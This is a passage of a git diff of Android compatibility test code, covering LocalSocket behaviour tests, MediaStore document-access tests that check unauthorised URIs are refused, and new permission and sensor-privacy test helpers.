clientSocket.setFileDescriptorsForSend(new FileDescriptor[]{FileDescriptor.in}); + clientOutStream.write(32); + assertEquals(32, serverInStream.read()); + + FileDescriptor[] out = serverSocket.getAncillaryFileDescriptors(); + assertEquals(1, out.length); + FileDescriptor fd = clientSocket.getFileDescriptor(); + assertTrue(fd.valid()); + + //shutdown input stream of client + clientSocket.shutdownInput(); + assertEquals(-1, clientInStream.read()); + + //shutdown output stream of client + clientSocket.shutdownOutput(); + try { + clientOutStream.write(10); + fail("testLocalSocket shouldn't come to here"); + } catch (IOException e) { + // expected + } + + //shutdown input stream of server + serverSocket.shutdownInput(); + assertEquals(-1, serverInStream.read()); + + //shutdown output stream of server + serverSocket.shutdownOutput(); + try { + serverOutStream.write(10); + fail("testLocalSocket shouldn't come to here"); + } catch (IOException e) { + // expected + } + + //close client socket + clientSocket.close(); + try { + clientInStream.read(); + fail("testLocalSocket shouldn't come to here"); + } catch (IOException e) { + // expected + } + + //close server socket + serverSocket.close(); + try { + serverInStream.read(); + fail("testLocalSocket shouldn't come to here"); + } catch (IOException e) { + // expected + } + } + + public void testAccessors() throws IOException { + String address = ADDRESS_PREFIX + "_testAccessors"; + LocalSocket socket = new LocalSocket(); + LocalSocketAddress addr = new LocalSocketAddress(address); + + assertFalse(socket.isBound()); + socket.bind(addr); + assertTrue(socket.isBound()); + assertEquals(addr, socket.getLocalSocketAddress()); + + String str = socket.toString(); + assertTrue(str.contains("impl:android.net.LocalSocketImpl")); + + socket.setReceiveBufferSize(1999); + assertEquals(1999 << 1, socket.getReceiveBufferSize()); + + socket.setSendBufferSize(3998); + assertEquals(3998 << 1, socket.getSendBufferSize()); + + assertEquals(0, socket.getSoTimeout()); + socket.setSoTimeout(1996); + assertTrue(socket.getSoTimeout() > 0); + + try { + socket.getRemoteSocketAddress(); + fail("testLocalSocketSecondary shouldn't come to here"); + } catch (UnsupportedOperationException e) { + // expected + } + + try { + socket.isClosed(); + fail("testLocalSocketSecondary shouldn't come to here"); + } catch (UnsupportedOperationException e) { + // expected + } + + try { + socket.isInputShutdown(); + fail("testLocalSocketSecondary shouldn't come to here"); + } catch (UnsupportedOperationException e) { + // expected + } + + try { + socket.isOutputShutdown(); + fail("testLocalSocketSecondary shouldn't come to here"); + } catch (UnsupportedOperationException e) { + // expected + } + + try { + socket.connect(addr, 2005); + fail("testLocalSocketSecondary shouldn't come to here"); + } catch (UnsupportedOperationException e) { + // expected + } + + socket.close(); + } + + // http://b/31205169 + public void testSetSoTimeout_readTimeout() throws Exception { + String address = ADDRESS_PREFIX + "_testSetSoTimeout_readTimeout"; + + try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) { + final LocalSocket clientSocket = socketPair.clientSocket; + + // Set the timeout in millis. + int timeoutMillis = 1000; + clientSocket.setSoTimeout(timeoutMillis); + + // Avoid blocking the test run if timeout doesn't happen by using a separate thread. + Callable<Result> reader = () -> { + try { + clientSocket.getInputStream().read(); + return Result.noException("Did not block"); + } catch (IOException e) { + return Result.exception(e); + } + }; + // Allow the configured timeout, plus some slop. + int allowedTime = timeoutMillis + 2000; + Result result = runInSeparateThread(allowedTime, reader); + + // Check the message was a timeout, it's all we have to go on. + String expectedMessage = Os.strerror(OsConstants.EAGAIN); + result.assertThrewIOException(expectedMessage); + } + } + + // http://b/31205169 + public void testSetSoTimeout_writeTimeout() throws Exception { + String address = ADDRESS_PREFIX + "_testSetSoTimeout_writeTimeout"; + + try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) { + final LocalSocket clientSocket = socketPair.clientSocket; + + // Set the timeout in millis. + int timeoutMillis = 1000; + clientSocket.setSoTimeout(timeoutMillis); + + // Set a small buffer size so we know we can flood it. + clientSocket.setSendBufferSize(100); + final int bufferSize = clientSocket.getSendBufferSize(); + + // Avoid blocking the test run if timeout doesn't happen by using a separate thread. + Callable<Result> writer = () -> { + try { + byte[] toWrite = new byte[bufferSize * 2]; + clientSocket.getOutputStream().write(toWrite); + return Result.noException("Did not block"); + } catch (IOException e) { + return Result.exception(e); + } + }; + // Allow the configured timeout, plus some slop. + int allowedTime = timeoutMillis + 2000; + + Result result = runInSeparateThread(allowedTime, writer); + + // Check the message was a timeout, it's all we have to go on. + String expectedMessage = Os.strerror(OsConstants.EAGAIN); + result.assertThrewIOException(expectedMessage); + } + } + + public void testAvailable() throws Exception { + String address = ADDRESS_PREFIX + "_testAvailable"; + + try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) { + LocalSocket clientSocket = socketPair.clientSocket; + LocalSocket serverSocket = socketPair.serverSocket.accept(); + + OutputStream clientOutputStream = clientSocket.getOutputStream(); + InputStream serverInputStream = serverSocket.getInputStream(); + assertEquals(0, serverInputStream.available()); + + byte[] buffer = new byte[50]; + clientOutputStream.write(buffer); + assertEquals(50, serverInputStream.available()); + + InputStream clientInputStream = clientSocket.getInputStream(); + OutputStream serverOutputStream = serverSocket.getOutputStream(); + assertEquals(0, clientInputStream.available()); + serverOutputStream.write(buffer); + assertEquals(50, serverInputStream.available()); + + serverSocket.close(); + } + } + + // http://b/34095140 + public void testLocalSocketCreatedFromFileDescriptor() throws Exception { + String address = ADDRESS_PREFIX + "_testLocalSocketCreatedFromFileDescriptor"; + + // Establish connection between a local client and server to get a valid client socket file + // descriptor. + try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) { + // Extract the client FileDescriptor we can use. + FileDescriptor fileDescriptor = socketPair.clientSocket.getFileDescriptor(); + assertTrue(fileDescriptor.valid()); + + // Create the LocalSocket we want to test. + LocalSocket clientSocketCreatedFromFileDescriptor = + LocalSocket.createConnectedLocalSocket(fileDescriptor); + assertTrue(clientSocketCreatedFromFileDescriptor.isConnected()); + assertTrue(clientSocketCreatedFromFileDescriptor.isBound()); + + // Test the LocalSocket can be used for communication. + LocalSocket serverSocket = socketPair.serverSocket.accept(); + OutputStream clientOutputStream = + clientSocketCreatedFromFileDescriptor.getOutputStream(); + InputStream serverInputStream = serverSocket.getInputStream(); + + clientOutputStream.write(12); + assertEquals(12, serverInputStream.read()); + + // Closing clientSocketCreatedFromFileDescriptor does not close the file descriptor. + clientSocketCreatedFromFileDescriptor.close(); + assertTrue(fileDescriptor.valid()); + + // .. while closing the LocalSocket that owned the file descriptor does. + socketPair.clientSocket.close(); + assertFalse(fileDescriptor.valid()); + } + } + + public void testFlush() throws Exception { + String address = ADDRESS_PREFIX + "_testFlush"; + + try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) { + LocalSocket clientSocket = socketPair.clientSocket; + LocalSocket serverSocket = socketPair.serverSocket.accept(); + + OutputStream clientOutputStream = clientSocket.getOutputStream(); + InputStream serverInputStream = serverSocket.getInputStream(); + testFlushWorks(clientOutputStream, serverInputStream); + + OutputStream serverOutputStream = serverSocket.getOutputStream(); + InputStream clientInputStream = clientSocket.getInputStream(); + testFlushWorks(serverOutputStream, clientInputStream); + + serverSocket.close(); + } + } + + private void testFlushWorks(OutputStream outputStream, InputStream inputStream) + throws Exception { + final int bytesToTransfer = 50; + StreamReader inputStreamReader = new StreamReader(inputStream, bytesToTransfer); + + byte[] buffer = new byte[bytesToTransfer]; + outputStream.write(buffer); + assertEquals(bytesToTransfer, inputStream.available()); + + // Start consuming the data. + inputStreamReader.start(); + + // This doesn't actually flush any buffers, it just polls until the reader has read all the + // bytes. + outputStream.flush(); + + inputStreamReader.waitForCompletion(5000); + inputStreamReader.assertBytesRead(bytesToTransfer); + assertEquals(0, inputStream.available()); + } + + private static class StreamReader extends Thread { + private final InputStream is; + private final int expectedByteCount; + private final CountDownLatch completeLatch = new CountDownLatch(1); + + private volatile Exception exception; + private int bytesRead; + + private StreamReader(InputStream is, int expectedByteCount) { + this.is = is; + this.expectedByteCount = expectedByteCount; + } + + @Override + public void run() { + try { + byte[] buffer = new byte[10]; + int readCount; + while ((readCount = is.read(buffer)) >= 0) { + bytesRead += readCount; + if (bytesRead >= expectedByteCount) { + break; + } + } + } catch (IOException e) { + exception = e; + } finally { + completeLatch.countDown(); + } + } + + public void waitForCompletion(long waitMillis) throws Exception { + if (!completeLatch.await(waitMillis, TimeUnit.MILLISECONDS)) { + fail("Timeout waiting for completion"); + } + if (exception != null) { + throw new Exception("Read failed", exception); + } + } + + public void assertBytesRead(int expected) { + assertEquals(expected, bytesRead); + } + } + + private static class Result { + private final String type; + private final Exception e; + + private Result(String type, Exception e) { + this.type = type; + this.e = e; + } + + static Result noException(String description) { + return new Result(description, null); + } + + static Result exception(Exception e) { + return new Result(e.getClass().getName(), e); + } + + void assertThrewIOException(String expectedMessage) { + assertEquals("Unexpected result type", IOException.class.getName(), type); + assertEquals("Unexpected exception message", expectedMessage, e.getMessage()); + } + } + + private static Result runInSeparateThread(int allowedTime, final Callable<Result> callable) + throws Exception { + ExecutorService service = Executors.newSingleThreadScheduledExecutor(); + Future<Result> future = service.submit(callable); + Result result = future.get(allowedTime, TimeUnit.MILLISECONDS); + if (!future.isDone()) { + fail("Worker thread appears blocked"); + } + return result; + } + + private static class LocalSocketPair implements AutoCloseable { + static LocalSocketPair createConnectedSocketPair(String address) throws Exception { + LocalServerSocket localServerSocket = new LocalServerSocket(address); + final LocalSocket clientSocket = new LocalSocket(); + + // Establish connection between client and server + LocalSocketAddress locSockAddr = new LocalSocketAddress(address); + clientSocket.connect(locSockAddr); + assertTrue(clientSocket.isConnected()); + return new LocalSocketPair(localServerSocket, clientSocket); + } + + final LocalServerSocket serverSocket; + final LocalSocket clientSocket; + + LocalSocketPair(LocalServerSocket serverSocket, LocalSocket clientSocket) { + this.serverSocket = serverSocket; + this.clientSocket = clientSocket; + } + + public void close() throws Exception { + serverSocket.close(); + clientSocket.close(); + } + } +} diff --git a/tests/providerui/AndroidManifest.xml b/tests/providerui/AndroidManifest.xml index 2f1f791d9d8..a14df70d71b 100644 --- a/tests/providerui/AndroidManifest.xml +++ b/tests/providerui/AndroidManifest.xml @@ -23,9 +23,7 @@ <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" /> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <uses-permission android:name="android.permission.DISABLE_KEYGUARD" /> - <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> - <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.WRITE_SETTINGS" /> <!-- @@ -42,7 +40,7 @@ </intent> </queries> - <application android:requestLegacyExternalStorage = "true"> + <application> <uses-library android:name="android.test.runner"/> <activity android:name="android.providerui.cts.GetResultActivity" /> diff --git a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java index 4342810763c..542b3aa9db6 100644 --- a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java +++ b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java @@ -16,6 +16,8 @@ package android.providerui.cts; +import static android.provider.cts.ProviderTestUtils.resolveVolumeName; + import static org.junit.Assert.assertArrayEquals; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; @@ -26,12 +28,12 @@ import android.app.Activity; import android.app.Instrumentation; import android.app.UiAutomation; import android.content.ContentResolver; +import android.content.ContentUris; import android.content.Context; import android.content.Intent; import android.content.UriPermission; import android.content.pm.PackageManager; import android.content.pm.ResolveInfo; -import android.content.res.AssetFileDescriptor; import android.database.Cursor; import android.net.Uri; import android.os.Environment; @@ -39,7 +41,6 @@ import android.os.FileUtils; import android.os.ParcelFileDescriptor; import android.os.storage.StorageManager; import android.os.storage.StorageVolume; -import android.os.UserManager; import android.provider.DocumentsContract; import android.provider.MediaStore; import android.provider.cts.ProviderTestUtils; @@ -50,12 +51,12 @@ import android.support.test.uiautomator.UiDevice; import android.support.test.uiautomator.UiObject; import android.support.test.uiautomator.UiObject2; import android.support.test.uiautomator.UiObjectNotFoundException; -import android.support.test.uiautomator.UiScrollable; import android.support.test.uiautomator.UiSelector; import android.support.test.uiautomator.Until; import android.system.Os; import android.text.format.DateUtils; import android.util.Log; +import android.util.Pair; import androidx.test.InstrumentationRegistry; @@ -68,6 +69,7 @@ import org.junit.runners.Parameterized.Parameter; import org.junit.runners.Parameterized.Parameters; import java.io.BufferedReader; +import java.io.ByteArrayInputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; @@ -122,6 +124,7 @@ public class MediaStoreUiTest { mActivity = (GetResultActivity) mInstrumentation.startActivitySync(intent); mInstrumentation.waitForIdleSync(); mActivity.clearResult(); + mDevice.wakeUp(); } @After @@ -147,6 +150,7 @@ public class MediaStoreUiTest { if (!supportsHardware()) return; prepareFile(); + clearDocumentsUi(); final Uri treeUri = acquireAccess(mFile, Environment.DIRECTORY_DOCUMENTS); assertNotNull(treeUri); @@ -171,10 +175,11 @@ public class MediaStoreUiTest { } @Test - public void testGetDocumentUri_ThrowsWithoutPermission() throws Exception { + public void testGetDocumentUri_throwsWithoutPermission() throws Exception { if (!supportsHardware()) return; prepareFile(); + clearDocumentsUi(); try { MediaStore.getDocumentUri(mActivity, mMediaStoreUri); @@ -185,10 +190,11 @@ public class MediaStoreUiTest { } @Test - public void testGetDocumentUri_Symmetry_ExternalStorageProvider() throws Exception { + public void testGetDocumentUri_symmetry_externalStorageProvider() throws Exception { if (!supportsHardware()) return; prepareFile(); + clearDocumentsUi(); final Uri treeUri = acquireAccess(mFile, Environment.DIRECTORY_DOCUMENTS); Log.v(TAG, "Tree " + treeUri); @@ -207,10 +213,10 @@ public class MediaStoreUiTest { } @Test - public void testGetMediaUriAccess_MediaDocumentsProvider() throws Exception { + public void testGetMediaUriAccess_mediaDocumentsProvider() throws Exception { if (!supportsHardware()) return; - prepareFile(); + prepareFile("TEST"); clearDocumentsUi(); final Intent intent = new Intent(); intent.setAction(Intent.ACTION_OPEN_DOCUMENT); @@ -228,6 +234,104 @@ public class MediaStoreUiTest { assertAccessToMediaUri(mediaUri, mFile); } + @Test + public void testOpenFile_onMediaDocumentsProvider_success() throws Exception { + if (!supportsHardware()) return; + + final String rawText = "TEST"; + // Stage a text file which contains raw text "TEST" + prepareFile(rawText); + clearDocumentsUi(); + final Intent intent = new Intent(); + intent.setAction(Intent.ACTION_OPEN_DOCUMENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + intent.setType("*/*"); + mActivity.startActivityForResult(intent, REQUEST_CODE); + mDevice.waitForIdle(); + + findDocument(mFile.getName()).click(); + final Result result = mActivity.getResult(); + final Uri uri = result.data.getData(); + assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY, uri.getAuthority()); + + // Test reading + final byte[] expected = rawText.getBytes(); + final byte[] actual = new byte[4]; + try (ParcelFileDescriptor fd = mContext.getContentResolver() + .openFileDescriptor(uri, "r")) { + Os.read(fd.getFileDescriptor(), actual, 0, actual.length); + assertArrayEquals(expected, actual); + } + + // Test write and read after it + final byte[] writtenText = "Hello World".getBytes(); + final byte[] readText = new byte[11]; + try (ParcelFileDescriptor fd = mContext.getContentResolver() + .openFileDescriptor(uri, "wt")) { + Os.write(fd.getFileDescriptor(), writtenText, 0, writtenText.length); + } + try (ParcelFileDescriptor fd = mContext.getContentResolver() + .openFileDescriptor(uri, "r")) { + Os.read(fd.getFileDescriptor(), readText, 0, readText.length); + assertArrayEquals(writtenText, readText); + } + } + + @Test + public void testOpenFile_onMediaDocumentsProvider_failsWithoutAccess() throws Exception { + if (!supportsHardware()) return; + + clearDocumentsUi(); + final Intent intent = new Intent(); + intent.setAction(Intent.ACTION_OPEN_DOCUMENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + intent.setType("*/*"); + mActivity.startActivityForResult(intent, REQUEST_CODE); + mDevice.waitForIdle(); + + String rawText = "TEST"; + // Read and write grants will be provided to the file associated with this pair. + // Stages a text file which contains raw text "TEST" + Pair<Uri, File> uriFilePairWithGrants = prepareFileAndFetchDetails(rawText); + // Read and write grants will not be provided to the file associated with this pair + // Stages a text file which contains raw text "TEST" + Pair<Uri, File> uriFilePairWithoutGrants = prepareFileAndFetchDetails(rawText); + // Get access grants + findDocument(uriFilePairWithGrants.second.getName()).click(); + final Result result = mActivity.getResult(); + final Uri docUriOfFileWithAccess = result.data.getData(); + // Creating doc URI for file by string replacement + Uri docUriOfFileWithoutAccess = Uri.parse(docUriOfFileWithAccess.toSafeString().replaceAll( + String.valueOf(ContentUris.parseId(uriFilePairWithGrants.first)), + String.valueOf(ContentUris.parseId(uriFilePairWithoutGrants.first)))); + + try { + assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY, docUriOfFileWithAccess.getAuthority()); + assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY, + docUriOfFileWithoutAccess.getAuthority()); + // Test reading + try (ParcelFileDescriptor fd = mContext.getContentResolver().openFileDescriptor( + docUriOfFileWithoutAccess, "r")) { + fail("Expecting security exception as file does not have read grants which " + + "are provided through ACTION_OPEN_DOCUMENT intent."); + } catch (SecurityException expected) { + // Expected security exception as file does not have read grants + } + // Test writing + try (ParcelFileDescriptor fd = mContext.getContentResolver().openFileDescriptor( + docUriOfFileWithoutAccess, "wt")) { + fail("Expecting security exception as file does not have write grants which " + + "are provided through ACTION_OPEN_DOCUMENT intent."); + } catch (SecurityException expected) { + // Expected security exception as file does not have write grants + } + } finally { + // Deleting files + uriFilePairWithGrants.second.delete(); + uriFilePairWithoutGrants.second.delete(); + } + } + private void assertAccessToMediaUri(Uri mediaUri, File file) { final String[] projection = {MediaStore.MediaColumns.DISPLAY_NAME}; try (Cursor c = mContext.getContentResolver().query( @@ -310,7 +414,7 @@ public class MediaStoreUiTest { } private void prepareFile() throws Exception { - final File dir = new File(getVolumePath(mVolumeName), + final File dir = new File(getVolumePath(resolveVolumeName(mVolumeName)), Environment.DIRECTORY_DOCUMENTS); final File file = new File(dir, "cts" + System.nanoTime() + ".txt"); @@ -320,6 +424,29 @@ public class MediaStoreUiTest { Log.v(TAG, "Staged " + mFile + " as " + mMediaStoreUri); } + private void prepareFile(String rawText) throws Exception { + final File dir = new File(getVolumePath(resolveVolumeName(mVolumeName)), + Environment.DIRECTORY_DOCUMENTS); + final File file = new File(dir, "cts" + System.nanoTime() + ".txt"); + + mFile = stageFileWithRawText(rawText, file); + mMediaStoreUri = MediaStore.scanFile(mContext.getContentResolver(), mFile); + + Log.v(TAG, "Staged " + mFile + " as " + mMediaStoreUri); + } + + private Pair<Uri, File> prepareFileAndFetchDetails(String rawText) throws Exception { + final File dir = new File(getVolumePath(resolveVolumeName(mVolumeName)), + Environment.DIRECTORY_DOCUMENTS); + final File file = new File(dir, "cts" + System.nanoTime() + ".txt"); + + File stagedFile = stageFileWithRawText(rawText, file); + + Uri uri = MediaStore.scanFile(mContext.getContentResolver(), stagedFile); + Log.v(TAG, "Staged " + stagedFile + " as " + uri); + return Pair.create(uri, stagedFile); + } + private void assertToolbarTitleEquals(String targetPackageName, String label) throws UiObjectNotFoundException { final UiSelector toolbarUiSelector = new UiSelector().resourceId( @@ -427,32 +554,28 @@ public class MediaStoreUiTest { // The caller may be trying to stage into a location only available to // the shell user, so we need to perform the entire copy as the shell final Context context = InstrumentationRegistry.getTargetContext(); - UserManager userManager = context.getSystemService(UserManager.class); - if (userManager.isSystemUser() && - FileUtils.contains(Environment.getStorageDirectory(), file)) { - executeShellCommand("mkdir -p " + file.getParent()); - - try (AssetFileDescriptor afd = context.getResources().openRawResourceFd(resId)) { - final File source = ParcelFileDescriptor.getFile(afd.getFileDescriptor()); - final long skip = afd.getStartOffset(); - final long count = afd.getLength(); - - executeShellCommand(String.format("dd bs=1 if=%s skip=%d count=%d of=%s", - source.getAbsolutePath(), skip, count, file.getAbsolutePath())); + final File dir = file.getParentFile(); + dir.mkdirs(); + if (!dir.exists()) { + throw new FileNotFoundException("Failed to create parent for " + file); + } + try (InputStream source = context.getResources().openRawResource(resId); + OutputStream target = new FileOutputStream(file)) { + FileUtils.copy(source, target); + } + return file; + } - // Force sync to try updating other views - executeShellCommand("sync"); - } - } else { - final File dir = file.getParentFile(); - dir.mkdirs(); - if (!dir.exists()) { - throw new FileNotFoundException("Failed to create parent for " + file); - } - try (InputStream source = context.getResources().openRawResource(resId); - OutputStream target = new FileOutputStream(file)) { - FileUtils.copy(source, target); - } + static File stageFileWithRawText(String rawText, File file) throws IOException { + final File dir = file.getParentFile(); + dir.mkdirs(); + if (!dir.exists()) { + throw new FileNotFoundException("Failed to create parent for " + file); + } + try (InputStream source = new ByteArrayInputStream( + rawText.getBytes(StandardCharsets.UTF_8)); + OutputStream target = new FileOutputStream(file)) { + FileUtils.copy(source, target); } return file; } diff --git a/tests/tests/content/TEST_MAPPING b/tests/tests/content/TEST_MAPPING index ed0ac3444a4..7f588e48040 100644 --- a/tests/tests/content/TEST_MAPPING +++ b/tests/tests/content/TEST_MAPPING @@ -1,27 +1,29 @@ { "presubmit": [ { - "name": "CtsContentTestCases", + "name": "FrameworksCoreTests", "options": [ { - "exclude-annotation": "androidx.test.filters.FlakyTest" - }, - { - "exclude-annotation": "org.junit.Ignore" + "include-filter": "android.content.pm.PackageManagerTests" }, { - "include-filter": "android.content.pm.cts" + "exclude-annotation": "androidx.test.filters.Suppress" } ] - }, + } + ], + "presubmit-large": [ { - "name": "FrameworksCoreTests", + "name": "CtsContentTestCases", "options": [ { - "include-filter": "android.content.pm.PackageManagerTests" + "exclude-annotation": "androidx.test.filters.FlakyTest" }, { - "exclude-annotation": "androidx.test.filters.Suppress" + "exclude-annotation": "org.junit.Ignore" + }, + { + "include-filter": "android.content.pm.cts" } ] } diff --git a/tests/tests/permission3/Android.bp b/tests/tests/permission3/Android.bp index 4fd9b5152d3..e249fe342da 100644 --- a/tests/tests/permission3/Android.bp +++ b/tests/tests/permission3/Android.bp @@ -47,6 +47,7 @@ android_test { ":CtsUsePermissionApp30", ":CtsUsePermissionApp30WithBackground", ":CtsUsePermissionApp30WithBluetooth", + ":CtsUsePermissionApp31", ":CtsUsePermissionAppLatest", ":CtsUsePermissionAppLatestNone", ":CtsUsePermissionAppWithOverlay", diff --git a/tests/tests/permission3/AndroidTest.xml b/tests/tests/permission3/AndroidTest.xml index 1536d580229..2342b6a4530 100644 --- a/tests/tests/permission3/AndroidTest.xml +++ b/tests/tests/permission3/AndroidTest.xml @@ -54,6 +54,7 @@ <option name="push" value="CtsUsePermissionApp30.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30.apk" /> <option name="push" value="CtsUsePermissionApp30WithBackground.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30WithBackground.apk" /> <option name="push" value="CtsUsePermissionApp30WithBluetooth.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30WithBluetooth.apk" /> + <option name="push" value="CtsUsePermissionApp31.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp31.apk" /> <option name="push" value="CtsUsePermissionAppLatest.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLatest.apk" /> <option name="push" value="CtsUsePermissionAppLatestNone.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLatestNone.apk" /> <option name="push" value="CtsUsePermissionAppWithOverlay.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppWithOverlay.apk" /> diff --git a/tests/tests/permission3/UsePermissionApp31/Android.bp b/tests/tests/permission3/UsePermissionApp31/Android.bp new file mode 100644 index 00000000000..48a2d4fa901 --- /dev/null +++ b/tests/tests/permission3/UsePermissionApp31/Android.bp @@ -0,0 +1,32 @@ +// +// Copyright (C) 2021 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CtsUsePermissionApp31", + srcs: [ + ":CtsUsePermissionAppSrc", + ], + static_libs: [ + "kotlin-stdlib", + ], + certificate: ":cts-testkey2", + target_sdk_version: "31", + min_sdk_version: "31", +} diff --git a/tests/tests/permission3/UsePermissionApp31/AndroidManifest.xml b/tests/tests/permission3/UsePermissionApp31/AndroidManifest.xml new file mode 100644 index 00000000000..f6d9b29221b --- /dev/null +++ b/tests/tests/permission3/UsePermissionApp31/AndroidManifest.xml @@ -0,0 +1,28 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + ~ Copyright (C) 2021 The Android Open Source Project + ~ + ~ Licensed under the Apache License, Version 2.0 (the "License"); + ~ you may not use this file except in compliance with the License. + ~ You may obtain a copy of the License at + ~ + ~ http://www.apache.org/licenses/LICENSE-2.0 + ~ + ~ Unless required by applicable law or agreed to in writing, software + ~ distributed under the License is distributed on an "AS IS" BASIS, + ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + ~ See the License for the specific language governing permissions and + ~ limitations under the License. + --> +<manifest + xmlns:android="http://schemas.android.com/apk/res/android" + package="android.permission3.cts.usepermission"> + <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> + <uses-permission android:name="android.permission.RECORD_AUDIO" /> + <uses-permission android:name="android.permission.CAMERA" /> + <application> + <activity android:name=".CheckCalendarAccessActivity" android:exported="true" /> + <activity android:name=".FinishOnCreateActivity" android:exported="true" /> + <activity android:name=".RequestPermissionsActivity" android:exported="true" /> + </application> +</manifest> diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt index 901cc3504ac..49646f4fe18 100644 --- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt +++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt @@ -158,6 +158,10 @@ abstract class BasePermissionTest { waitForIdle() } + protected fun clickPermissionControllerUi(selector: BySelector, timeoutMillis: Long = 20_000) { + click(selector.pkg(context.packageManager.permissionControllerPackageName), timeoutMillis) + } + protected fun pressBack() { uiDevice.pressBack() waitForIdle() diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt index 78675bd740e..6c69a6522ac 100644 --- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt +++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt @@ -52,6 +52,8 @@ abstract class BaseUsePermissionTest : BasePermissionTest() { const val APP_APK_PATH_28 = "$APK_DIRECTORY/CtsUsePermissionApp28.apk" const val APP_APK_PATH_29 = "$APK_DIRECTORY/CtsUsePermissionApp29.apk" const val APP_APK_PATH_30 = "$APK_DIRECTORY/CtsUsePermissionApp30.apk" + const val APP_APK_PATH_31 = "$APK_DIRECTORY/CtsUsePermissionApp31.apk" + const val APP_APK_PATH_30_WITH_BACKGROUND = "$APK_DIRECTORY/CtsUsePermissionApp30WithBackground.apk" const val APP_APK_PATH_30_WITH_BLUETOOTH = @@ -449,7 +451,7 @@ abstract class BaseUsePermissionTest : BasePermissionTest() { if (isWatch) { click(By.text(permissionLabel), 40_000) } else { - click(By.text(permissionLabel)) + clickPermissionControllerUi(By.text(permissionLabel)) } val wasGranted = if (isAutomotive) { diff --git a/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt b/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt new file mode 100644 index 00000000000..d39fb9cf656 --- /dev/null +++ b/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt @@ -0,0 +1,157 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.permission3.cts + +import android.content.Intent +import android.hardware.SensorPrivacyManager +import android.hardware.SensorPrivacyManager.Sensors.CAMERA +import android.hardware.SensorPrivacyManager.Sensors.MICROPHONE +import android.location.LocationManager +import android.Manifest.permission_group.CAMERA as CAMERA_PERMISSION_GROUP +import android.Manifest.permission_group.LOCATION as LOCATION_PERMISSION_GROUP +import android.Manifest.permission_group.MICROPHONE as MICROPHONE_PERMISSION_GROUP +import android.os.Build +import android.provider.DeviceConfig +import android.support.test.uiautomator.By +import androidx.test.filters.SdkSuppress +import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity +import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity +import org.junit.After +import org.junit.Assume +import org.junit.Before +import org.junit.Test + +/** + * Banner card display tests on sensors being blocked + */ +@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) +class SensorBlockedBannerTest : BaseUsePermissionTest() { + companion object { + const val LOCATION = -1 + const val WARNING_BANNER_ENABLED = "warning_banner_enabled" + } + + val sensorPrivacyManager = context.getSystemService(SensorPrivacyManager::class.java)!! + val locationManager = context.getSystemService(LocationManager::class.java)!! + private val originalEnabledValue = callWithShellPermissionIdentity { + DeviceConfig.getString(DeviceConfig.NAMESPACE_PRIVACY, + WARNING_BANNER_ENABLED, false.toString()) + } + + private val sensorToPermissionGroup = mapOf(CAMERA to CAMERA_PERMISSION_GROUP, + MICROPHONE to 